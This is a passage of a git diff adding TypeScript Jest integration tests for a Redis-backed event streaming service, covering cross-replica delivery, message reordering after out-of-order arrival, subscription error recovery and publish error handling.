subB = await replicaB.subscribe(streamId, (event: unknown) => receivedOnB.push(event)); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + for (let i = 0; i < 5; i++) { + await replicaA.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: `token${i} ` } }, index: i }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + + expect(receivedOnB.length).toBe(5); + for (let i = 0; i < 5; i++) { + expect((receivedOnB[i] as Record).event).toBe('on_message_delta'); + } + + subB?.unsubscribe(); + replicaBJobStore.destroy(); + await replicaA.destroy(); + await replicaB.destroy(); }); - test('should fall back to in-memory when USE_REDIS is false', async () => { - process.env.USE_REDIS = 'false'; - jest.resetModules(); + test('should not cause data loss on cross-replica subscribers when local subscriber joins', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } - const { createStreamServices } = await import('../createStreamServices'); - const services = createStreamServices(); + const replicaA = new GenerationJobManagerClass(); + const servicesA = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + replicaA.configure(servicesA); + replicaA.initialize(); + + const replicaB = new GenerationJobManagerClass(); + const servicesB = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + replicaB.configure(servicesB); + replicaB.initialize(); + + const streamId = `cross-seq-safe-${Date.now()}`; + + await replicaA.createJob(streamId, 'user-1'); + const replicaBJobStore = new RedisJobStore(ioredisClient); + await replicaBJobStore.initialize(); + await replicaBJobStore.createJob(streamId, 'user-1'); + + const receivedOnB: unknown[] = []; + const subB = await replicaB.subscribe(streamId, (event: unknown) => receivedOnB.push(event)); + await new Promise((resolve) => setTimeout(resolve, 100)); + + for (let i = 0; i < 3; i++) { + await replicaA.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: `pre-local-${i}` } }, index: i }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + expect(receivedOnB.length).toBe(3); + + const receivedOnA: unknown[] = []; + const subA = await replicaA.subscribe(streamId, (event: unknown) => receivedOnA.push(event)); + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(receivedOnA.length).toBe(3); + + for (let i = 0; i < 3; i++) { + await replicaA.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: `post-local-${i}` } }, index: i + 3 }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + + expect(receivedOnB.length).toBe(6); + expect(receivedOnA.length).toBe(6); + + for (let i = 0; i < 3; i++) { + const data = (receivedOnB[i] as Record).data as Record; + const delta = data.delta as Record; + const content = delta.content as Record; + expect(content.text).toBe(`pre-local-${i}`); + } + for (let i = 0; i < 3; i++) { + const data = (receivedOnB[i + 3] as Record).data as Record< + string, + unknown + >; + const delta = data.delta as Record; + const content = delta.content as Record; + expect(content.text).toBe(`post-local-${i}`); + } + + subA?.unsubscribe(); + subB?.unsubscribe(); + replicaBJobStore.destroy(); + await replicaA.destroy(); + await replicaB.destroy(); + }); + + test('should deliver buffered events locally AND publish live events cross-replica', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const replicaA = new GenerationJobManagerClass(); + const servicesA = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + replicaA.configure(servicesA); + replicaA.initialize(); + + const streamId = `cross-buf-live-${Date.now()}`; + await replicaA.createJob(streamId, 'user-1'); + + await replicaA.emitChunk(streamId, { + created: true, + message: { text: 'hello' }, + streamId, + } as unknown as ServerSentEvent); + + const receivedOnA: unknown[] = []; + const subA = await replicaA.subscribe(streamId, (event: unknown) => receivedOnA.push(event)); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(receivedOnA.length).toBe(1); + expect((receivedOnA[0] as Record).created).toBe(true); + + const replicaB = new GenerationJobManagerClass(); + const servicesB = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + replicaB.configure(servicesB); + replicaB.initialize(); + + const replicaBJobStore = new RedisJobStore(ioredisClient); + await replicaBJobStore.initialize(); + await replicaBJobStore.createJob(streamId, 'user-1'); + + const receivedOnB: unknown[] = []; + const subB = await replicaB.subscribe(streamId, (event: unknown) => receivedOnB.push(event)); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + for (let i = 0; i < 3; i++) { + await replicaA.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: `word${i} ` } }, index: i }, + }); + } + + /** B joined after A published seq 0, so B's reorder buffer force-flushes after REORDER_TIMEOUT_MS (500ms) */ + await new Promise((resolve) => setTimeout(resolve, 700)); + + expect(receivedOnA.length).toBe(4); + expect(receivedOnB.length).toBe(3); + + subA?.unsubscribe(); + subB?.unsubscribe(); + replicaBJobStore.destroy(); + await replicaA.destroy(); + await replicaB.destroy(); + }); + }); + + describe('Concurrent Subscriber Readiness (Redis)', () => { + test('should return ready promise to all concurrent subscribers for same stream', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const subscriber = ( + ioredisClient as unknown as { duplicate: () => typeof ioredisClient } + ).duplicate()!; + const transport = new RedisEventTransport(ioredisClient as never, subscriber as never); + + const streamId = `concurrent-sub-${Date.now()}`; + + const sub1 = transport.subscribe(streamId, { + onChunk: () => {}, + onDone: () => {}, + }); + const sub2 = transport.subscribe(streamId, { + onChunk: () => {}, + onDone: () => {}, + }); + + expect(sub1.ready).toBeDefined(); + expect(sub2.ready).toBeDefined(); + + await Promise.all([sub1.ready, sub2.ready]); + + sub1.unsubscribe(); + sub2.unsubscribe(); + transport.destroy(); + subscriber.disconnect(); + }); + }); + + describe('Sequence Reset Safety (Redis)', () => { + test('should not receive stale pre-subscribe events via Redis after sequence reset', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const manager = new GenerationJobManagerClass(); + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + manager.configure(services); + manager.initialize(); + + const streamId = `seq-stale-${Date.now()}`; + await manager.createJob(streamId, 'user-1'); + + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: 'pre-sub-0' } }, index: 0 }, + }); + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: 'pre-sub-1' } }, index: 1 }, + }); + + const receivedEvents: unknown[] = []; + const sub = await manager.subscribe(streamId, (event: unknown) => receivedEvents.push(event)); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(receivedEvents.length).toBe(2); + expect( + ((receivedEvents[0] as Record).data as Record).delta, + ).toBeDefined(); + + for (let i = 0; i < 5; i++) { + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: `post-sub-${i}` } }, index: i + 2 }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + + expect(receivedEvents.length).toBe(7); + + const texts = receivedEvents.map( + (e) => + ( + ((e as Record).data as Record).delta as Record< + string, + unknown + > + ).content as Record, + ); + expect((texts[0] as Record).text).toBe('pre-sub-0'); + expect((texts[1] as Record).text).toBe('pre-sub-1'); + for (let i = 0; i < 5; i++) { + expect((texts[i + 2] as Record).text).toBe(`post-sub-${i}`); + } + + sub?.unsubscribe(); + await manager.destroy(); + }); + + test('should not reset sequence when second subscriber joins mid-stream', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const manager = new GenerationJobManagerClass(); + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + manager.configure({ ...services, cleanupOnComplete: false }); + manager.initialize(); + + const streamId = `seq-2nd-sub-${Date.now()}`; + await manager.createJob(streamId, 'user-1'); + + const eventsA: unknown[] = []; + const subA = await manager.subscribe(streamId, (event: unknown) => eventsA.push(event)); + + await new Promise((resolve) => setTimeout(resolve, 50)); + + for (let i = 0; i < 3; i++) { + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: `chunk-${i}` } }, index: i }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(eventsA.length).toBe(3); + + const eventsB: unknown[] = []; + const subB = await manager.subscribe(streamId, (event: unknown) => eventsB.push(event)); + + for (let i = 3; i < 6; i++) { + await manager.emitChunk(streamId, { + event: 'on_message_delta', + data: { delta: { content: { type: 'text', text: `chunk-${i}` } }, index: i }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + + expect(eventsA.length).toBe(6); + expect(eventsB.length).toBe(3); + + for (let i = 0; i < 6; i++) { + const text = ( + ( + ((eventsA[i] as Record).data as Record) + .delta as Record + ).content as Record + ).text; + expect(text).toBe(`chunk-${i}`); + } + + subA?.unsubscribe(); + subB?.unsubscribe(); + await manager.destroy(); + }); + }); + + describe('Subscribe Error Recovery (Redis)', () => { + test('should allow resubscription after Redis subscribe failure', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const subscriber = ( + ioredisClient as unknown as { duplicate: () => typeof ioredisClient } + ).duplicate()!; + + const realSubscribe = subscriber.subscribe.bind(subscriber); + let callCount = 0; + subscriber.subscribe = ((...args: Parameters) => { + callCount++; + if (callCount === 1) { + return Promise.reject(new Error('Simulated Redis SUBSCRIBE failure')); + } + return realSubscribe(...args); + }) as typeof subscriber.subscribe; + + const transport = new RedisEventTransport(ioredisClient as never, subscriber as never); + + const streamId = `err-retry-${Date.now()}`; + + const sub1 = transport.subscribe(streamId, { + onChunk: () => {}, + onDone: () => {}, + }); + + await sub1.ready; + + const receivedEvents: unknown[] = []; + sub1.unsubscribe(); + + const sub2 = transport.subscribe(streamId, { + onChunk: (event: unknown) => receivedEvents.push(event), + onDone: () => {}, + }); + + expect(sub2.ready).toBeDefined(); + await sub2.ready; + + await transport.emitChunk(streamId, { event: 'test', data: { value: 'hello' } }); + await new Promise((resolve) => setTimeout(resolve, 100)); + + expect(receivedEvents.length).toBe(1); + + sub2.unsubscribe(); + transport.destroy(); + subscriber.disconnect(); + }); + }); + + describe('createStreamServices Auto-Detection', () => { + test('should use Redis when useRedis is true and client is available', () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const services = createStreamServices({ + useRedis: true, + redisClient: ioredisClient, + }); + + expect(services.isRedis).toBe(true); + services.eventTransport.destroy(); + }); + + test('should fall back to in-memory when useRedis is false', () => { + const services = createStreamServices({ useRedis: false }); expect(services.isRedis).toBe(false); }); test('should allow forcing in-memory via config override', async () => { - const { createStreamServices } = await import('../createStreamServices'); const services = createStreamServices({ useRedis: false }); expect(services.isRedis).toBe(false); diff --git a/packages/api/src/stream/__tests__/RedisEventTransport.stream_integration.spec.ts b/packages/api/src/stream/__tests__/RedisEventTransport.stream_integration.spec.ts index 31266b3e11..b5e53dfbff 100644 --- a/packages/api/src/stream/__tests__/RedisEventTransport.stream_integration.spec.ts +++ b/packages/api/src/stream/__tests__/RedisEventTransport.stream_integration.spec.ts @@ -19,8 +19,11 @@ describe('RedisEventTransport Integration Tests', () => { originalEnv = { ...process.env }; process.env.USE_REDIS = process.env.USE_REDIS ?? 'true'; + process.env.USE_REDIS_CLUSTER = process.env.USE_REDIS_CLUSTER ?? 'false'; process.env.REDIS_URI = process.env.REDIS_URI ?? 'redis://127.0.0.1:6379'; process.env.REDIS_KEY_PREFIX = testPrefix; + process.env.REDIS_PING_INTERVAL = '0'; + process.env.REDIS_RETRY_MAX_ATTEMPTS = '5'; jest.resetModules(); @@ -70,16 +73,16 @@ describe('RedisEventTransport Integration Tests', () => { }, }); - // Wait for subscription to be established - await new Promise((resolve) => setTimeout(resolve, 100)); + // Wait for subscription to be established (increased for CI) + await new Promise((resolve) => setTimeout(resolve, 500)); - // Emit events - transport.emitChunk(streamId, { type: 'text', text: 'Hello' }); - transport.emitChunk(streamId, { type: 'text', text: ' World' }); - transport.emitDone(streamId, { finished: true }); + // Emit events (emitChunk/emitDone are async for ordered delivery) + await transport.emitChunk(streamId, { type: 'text', text: 'Hello' }); + await transport.emitChunk(streamId, { type: 'text', text: ' World' }); + await transport.emitDone(streamId, { finished: true }); - // Wait for events to propagate - await new Promise((resolve) => setTimeout(resolve, 200)); + // Wait for events to propagate (increased for CI) + await new Promise((resolve) => setTimeout(resolve, 500)); expect(receivedChunks.length).toBe(2); expect(doneEvent).toEqual({ finished: true }); @@ -117,7 +120,7 @@ describe('RedisEventTransport Integration Tests', () => { await new Promise((resolve) => setTimeout(resolve, 100)); // Emit from transport 1 (producer on different instance) - transport1.emitChunk(streamId, { data: 'from-instance-1' }); + await transport1.emitChunk(streamId, { data: 'from-instance-1' }); // Wait for cross-instance delivery await new Promise((resolve) => setTimeout(resolve, 200)); @@ -160,7 +163,7 @@ describe('RedisEventTransport Integration Tests', () => { await new Promise((resolve) => setTimeout(resolve, 100)); - transport.emitChunk(streamId, { data: 'broadcast' }); + await transport.emitChunk(streamId, { data: 'broadcast' }); await new Promise((resolve) => setTimeout(resolve, 200)); @@ -175,6 +178,425 @@ describe('RedisEventTransport Integration Tests', () => { }); }); + describe('Sequential Event Ordering', () => { + test('should maintain strict order when emitChunk is awaited', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const subscriber = (ioredisClient as Redis).duplicate(); + const transport = new RedisEventTransport(ioredisClient, subscriber); + + const streamId = `order-test-${Date.now()}`; + const receivedEvents: number[] = []; + + transport.subscribe(streamId, { + onChunk: (event) => receivedEvents.push((event as { index: number }).index), + }); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Emit 20 events rapidly with await - they should arrive in order + for (let i = 0; i < 20; i++) { + await transport.emitChunk(streamId, { index: i }); + } + + // Wait for all events to propagate + await new Promise((resolve) => setTimeout(resolve, 300)); + + // Verify all events arrived in correct order + expect(receivedEvents.length).toBe(20); + for (let i = 0; i < 20; i++) { + expect(receivedEvents[i]).toBe(i); + } + + transport.destroy(); + subscriber.disconnect(); + }); + + test('should maintain order for tool call delta chunks (simulates streaming args)', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const subscriber = (ioredisClient as Redis).duplicate(); + const transport = new RedisEventTransport(ioredisClient, subscriber); + + const streamId = `tool-delta-order-${Date.now()}`; + const receivedArgs: string[] = []; + + transport.subscribe(streamId, { + onChunk: (event) => { + const data = event as { + event: string; + data: { delta: { tool_calls: { args: string }[] } }; + }; + if (data.event === 'on_run_step_delta') { + receivedArgs.push(data.data.delta.tool_calls[0].args); + } + }, + }); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Simulate streaming tool call arguments like: {"code": "# First line\n..." + const argChunks = ['{"code"', ': "', '# First', ' line', '\\n', '..."', '}']; + + for (const chunk of argChunks) { + await transport.emitChunk(streamId, { + event: 'on_run_step_delta', + data: { + id: 'step-1', + delta: { + type: 'tool_calls', + tool_calls: [{ index: 0, args: chunk }], + }, + }, + }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + + // Verify chunks arrived in correct order - this was the bug we fixed + expect(receivedArgs).toEqual(argChunks); + expect(receivedArgs.join('')).toBe('{"code": "# First line\\n..."}'); + + transport.destroy(); + subscriber.disconnect(); + }); + + test('should maintain order across multiple concurrent streams (no cross-contamination)', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const subscriber = (ioredisClient as Redis).duplicate(); + const transport = new RedisEventTransport(ioredisClient, subscriber); + + const streamId1 = `concurrent-stream-1-${Date.now()}`; + const streamId2 = `concurrent-stream-2-${Date.now()}`; + + const stream1Events: number[] = []; + const stream2Events: number[] = []; + + transport.subscribe(streamId1, { + onChunk: (event) => stream1Events.push((event as { index: number }).index), + }); + transport.subscribe(streamId2, { + onChunk: (event) => stream2Events.push((event as { index: number }).index), + }); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Interleave events from both streams + for (let i = 0; i < 10; i++) { + await transport.emitChunk(streamId1, { index: i }); + await transport.emitChunk(streamId2, { index: i * 10 }); + } + + await new Promise((resolve) => setTimeout(resolve, 300)); + + // Each stream should have its own ordered events + expect(stream1Events).toEqual([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]); + expect(stream2Events).toEqual([0, 10, 20, 30, 40, 50, 60, 70, 80, 90]); + + transport.destroy(); + subscriber.disconnect(); + }); + }); + + describe('Reorder Buffer (Redis Cluster Fix)', () => { + test('should reorder out-of-sequence messages', async () => { + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = 'reorder-test'; + const receivedEvents: number[] = []; + + transport.subscribe(streamId, { + onChunk: (event) => receivedEvents.push((event as { index: number }).index), + }); + + const messageHandler = mockSubscriber.on.mock.calls.find( + (call) => call[0] === 'message', + )?.[1] as (channel: string, message: string) => void; + + const channel = `stream:{${streamId}}:events`; + + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 0, data: { index: 0 } })); + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 2, data: { index: 2 } })); + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 1, data: { index: 1 } })); + + await new Promise((resolve) => setTimeout(resolve, 50)); + + expect(receivedEvents).toEqual([0, 1, 2]); + + transport.destroy(); + }); + + test('should buffer early messages and deliver when gaps are filled', async () => { + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = 'buffer-test'; + const receivedEvents: number[] = []; + + transport.subscribe(streamId, { + onChunk: (event) => receivedEvents.push((event as { index: number }).index), + }); + + const messageHandler = mockSubscriber.on.mock.calls.find( + (call) => call[0] === 'message', + )?.[1] as (channel: string, message: string) => void; + + const channel = `stream:{${streamId}}:events`; + + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 2, data: { index: 2 } })); + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 4, data: { index: 4 } })); + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 3, data: { index: 3 } })); + + await new Promise((resolve) => setTimeout(resolve, 50)); + expect(receivedEvents).toEqual([]); + + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 0, data: { index: 0 } })); + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 1, data: { index: 1 } })); + + await new Promise((resolve) => setTimeout(resolve, 50)); + expect(receivedEvents).toEqual([0, 1, 2, 3, 4]); + + transport.destroy(); + }); + + test('should force-flush on timeout when gaps are not filled', async () => { + jest.useFakeTimers(); + + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = 'timeout-test'; + const receivedEvents: number[] = []; + + transport.subscribe(streamId, { + onChunk: (event) => receivedEvents.push((event as { index: number }).index), + }); + + const messageHandler = mockSubscriber.on.mock.calls.find( + (call) => call[0] === 'message', + )?.[1] as (channel: string, message: string) => void; + + const channel = `stream:{${streamId}}:events`; + + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 2, data: { index: 2 } })); + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 3, data: { index: 3 } })); + + expect(receivedEvents).toEqual([]); + + jest.advanceTimersByTime(600); + + expect(receivedEvents).toEqual([2, 3]); + + transport.destroy(); + jest.useRealTimers(); + }); + + test('should handle messages without sequence numbers (backward compatibility)', async () => { + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = 'compat-test'; + const receivedEvents: string[] = []; + + transport.subscribe(streamId, { + onChunk: (event) => receivedEvents.push((event as { msg: string }).msg), + onDone: (event) => receivedEvents.push(`done:${(event as { msg: string }).msg}`), + }); + + const messageHandler = mockSubscriber.on.mock.calls.find( + (call) => call[0] === 'message', + )?.[1] as (channel: string, message: string) => void; + + const channel = `stream:{${streamId}}:events`; + + messageHandler(channel, JSON.stringify({ type: 'chunk', data: { msg: 'no-seq-1' } })); + messageHandler(channel, JSON.stringify({ type: 'chunk', data: { msg: 'no-seq-2' } })); + messageHandler(channel, JSON.stringify({ type: 'done', data: { msg: 'finished' } })); + + await new Promise((resolve) => setTimeout(resolve, 50)); + + expect(receivedEvents).toEqual(['no-seq-1', 'no-seq-2', 'done:finished']); + + transport.destroy(); + }); + + test('should deliver done event after all pending chunks (terminal event ordering)', async () => { + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + on: jest.fn(), + }; + + const transport = new RedisEventTransport(mockPublisher as never, mockSubscriber as never); + const streamId = `terminal-order-${Date.now()}`; + + const receivedEvents: string[] = []; + let doneReceived = false; + + transport.subscribe(streamId, { + onChunk: (event: unknown) => { + const e = event as { msg?: string }; + receivedEvents.push(e.msg ?? 'unknown'); + }, + onDone: (event: unknown) => { + const e = event as { msg?: string }; + receivedEvents.push(`done:${e.msg ?? 'finished'}`); + doneReceived = true; + }, + }); + + await new Promise((resolve) => setTimeout(resolve, 50)); + + const messageHandler = mockSubscriber.on.mock.calls.find( + (call) => call[0] === 'message', + )?.[1]; + expect(messageHandler).toBeDefined(); + + const channel = `stream:{${streamId}}:events`; + + // Simulate out-of-order delivery in Redis Cluster: + // Done event (seq=3) arrives before chunk seq=2 + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 0, data: { msg: 'chunk-0' } })); + messageHandler(channel, JSON.stringify({ type: 'done', seq: 3, data: { msg: 'complete' } })); + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 2, data: { msg: 'chunk-2' } })); + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 1, data: { msg: 'chunk-1' } })); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Done event should be delivered AFTER all chunks despite arriving early + expect(doneReceived).toBe(true); + expect(receivedEvents).toEqual(['chunk-0', 'chunk-1', 'chunk-2', 'done:complete']); + + transport.destroy(); + }); + + test('should deliver error event after all pending chunks (terminal event ordering)', async () => { + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const mockPublisher = { + publish: jest.fn().mockResolvedValue(1), + }; + const mockSubscriber = { + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + on: jest.fn(), + }; + + const transport = new RedisEventTransport(mockPublisher as never, mockSubscriber as never); + const streamId = `terminal-error-${Date.now()}`; + + const receivedEvents: string[] = []; + let errorReceived: string | undefined; + + transport.subscribe(streamId, { + onChunk: (event: unknown) => { + const e = event as { msg?: string }; + receivedEvents.push(e.msg ?? 'unknown'); + }, + onError: (error: string) => { + receivedEvents.push(`error:${error}`); + errorReceived = error; + }, + }); + + await new Promise((resolve) => setTimeout(resolve, 50)); + + const messageHandler = mockSubscriber.on.mock.calls.find( + (call) => call[0] === 'message', + )?.[1]; + expect(messageHandler).toBeDefined(); + + const channel = `stream:{${streamId}}:events`; + + // Simulate out-of-order delivery: error arrives before final chunks + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 0, data: { msg: 'chunk-0' } })); + messageHandler(channel, JSON.stringify({ type: 'error', seq: 2, error: 'Something failed' })); + messageHandler(channel, JSON.stringify({ type: 'chunk', seq: 1, data: { msg: 'chunk-1' } })); + + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Error event should be delivered AFTER all preceding chunks + expect(errorReceived).toBe('Something failed'); + expect(receivedEvents).toEqual(['chunk-0', 'chunk-1', 'error:Something failed']); + + transport.destroy(); + }); + }); + describe('Subscriber Management', () => { test('should track first subscriber correctly', async () => { if (!ioredisClient) { @@ -283,7 +705,7 @@ describe('RedisEventTransport Integration Tests', () => { await new Promise((resolve) => setTimeout(resolve, 100)); - transport.emitError(streamId, 'Test error message'); + await transport.emitError(streamId, 'Test error message'); await new Promise((resolve) => setTimeout(resolve, 200)); @@ -471,4 +893,121 @@ describe('RedisEventTransport Integration Tests', () => { subscriber.disconnect(); }); }); + + describe('Publish Error Propagation', () => { + test('should swallow emitChunk publish errors (callers fire-and-forget)', async () => { + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const mockPublisher = { + publish: jest.fn().mockRejectedValue(new Error('Redis connection lost')), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = `error-prop-chunk-${Date.now()}`; + + // emitChunk swallows errors because callers often fire-and-forget (no await). + // Throwing would cause unhandled promise rejections. + await expect(transport.emitChunk(streamId, { data: 'test' })).resolves.toBeUndefined(); + + transport.destroy(); + }); + + test('should throw when emitDone publish fails', async () => { + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const mockPublisher = { + publish: jest.fn().mockRejectedValue(new Error('Redis connection lost')), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = `error-prop-done-${Date.now()}`; + + await expect(transport.emitDone(streamId, { finished: true })).rejects.toThrow( + 'Redis connection lost', + ); + + transport.destroy(); + }); + + test('should throw when emitError publish fails', async () => { + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const mockPublisher = { + publish: jest.fn().mockRejectedValue(new Error('Redis connection lost')), + }; + const mockSubscriber = { + on: jest.fn(), + subscribe: jest.fn().mockResolvedValue(undefined), + unsubscribe: jest.fn().mockResolvedValue(undefined), + }; + + const transport = new RedisEventTransport( + mockPublisher as unknown as Redis, + mockSubscriber as unknown as Redis, + ); + + const streamId = `error-prop-error-${Date.now()}`; + + await expect(transport.emitError(streamId, 'some error')).rejects.toThrow( + 'Redis connection lost', + ); + + transport.destroy(); + }); + + test('should still deliver events successfully when publish succeeds', async () => { + if (!ioredisClient) { + console.warn('Redis not available, skipping test'); + return; + } + + const { RedisEventTransport } = await import('../implementations/RedisEventTransport'); + + const subscriber = (ioredisClient as Redis).duplicate(); + const transport = new RedisEventTransport(ioredisClient, subscriber); + + const streamId = `error-prop-success-${Date.now()}`; + const receivedChunks: unknown[] = []; + let doneEvent: unknown = null; + + transport.subscribe(streamId, { + onChunk: (event) => receivedChunks.push(event), + onDone: (event) => { + doneEvent = event; + }, + }); + + await new Promise((resolve) => setTimeout(resolve, 200)); + + // These should NOT throw + await transport.emitChunk(streamId, { text: 'hello' }); + await transport.emitDone(streamId, { finished: true }); + + await new Promise((resolve) => setTimeout(resolve, 200)); + + expect(receivedChunks.length).toBe(1); + expect(doneEvent).toEqual({ finished: true }); + + transport.destroy(); + subscriber.disconnect(); + }); + }); }); diff --git a/packages/api/src/stream/__tests__/RedisJobStore.stream_integration.spec.ts b/packages/api/src/stream/__tests__/RedisJobStore.stream_integration.spec.ts index 89c6f9e92e..a64ba11f26 100644 --- a/packages/api/src/stream/__tests__/RedisJobStore.stream_integration.spec.ts +++ b/packages/api/src/stream/__tests__/RedisJobStore.stream_integration.spec.ts @@ -24,8 +24,11 @@ describe('RedisJobStore Integration Tests', () => { // Set up test environment process.env.USE_REDIS = process.env.USE_REDIS ?? 'true'; + process.env.USE_REDIS_CLUSTER = process.env.USE_REDIS_CLUSTER ?? 'false'; process.env.REDIS_URI = process.env.REDIS_URI ?? 'redis://127.0.0.1:6379'; process.env.REDIS_KEY_PREFIX = testPrefix; + process.env.REDIS_PING_INTERVAL = '0'; + process.env.REDIS_RETRY_MAX_ATTEMPTS = '5'; jest.resetModules(); @@ -880,6 +883,67 @@ describe('RedisJobStore Integration Tests', () => { }); }); + describe('Race Condition: updateJob after deleteJob', () => { + test('should not re-create job hash when updateJob runs after deleteJob', async () => { + if (!ioredisClient) { + return; + } + + const { RedisJobStore } = await import('../implementations/RedisJobStore'); + const store = new RedisJobStore(ioredisClient); + await store.initialize(); + + const streamId = `race-condition-${Date.now()}`; + await store.createJob(streamId, 'user-1', streamId); + + const jobKey = `stream:{${streamId}}:job`; + const ttlBefore = await ioredisClient.ttl(jobKey); + expect(ttlBefore).toBeGreaterThan(0); + + await store.deleteJob(streamId); + + const afterDelete = await ioredisClient.exists(jobKey); + expect(afterDelete).toBe(0); + + await store.updateJob(streamId, { finalEvent: JSON.stringify({ final: true }) }); + + const afterUpdate = await ioredisClient.exists(jobKey); + expect(afterUpdate).toBe(0); + + await store.destroy(); + }); + + test('should not leave orphan keys from 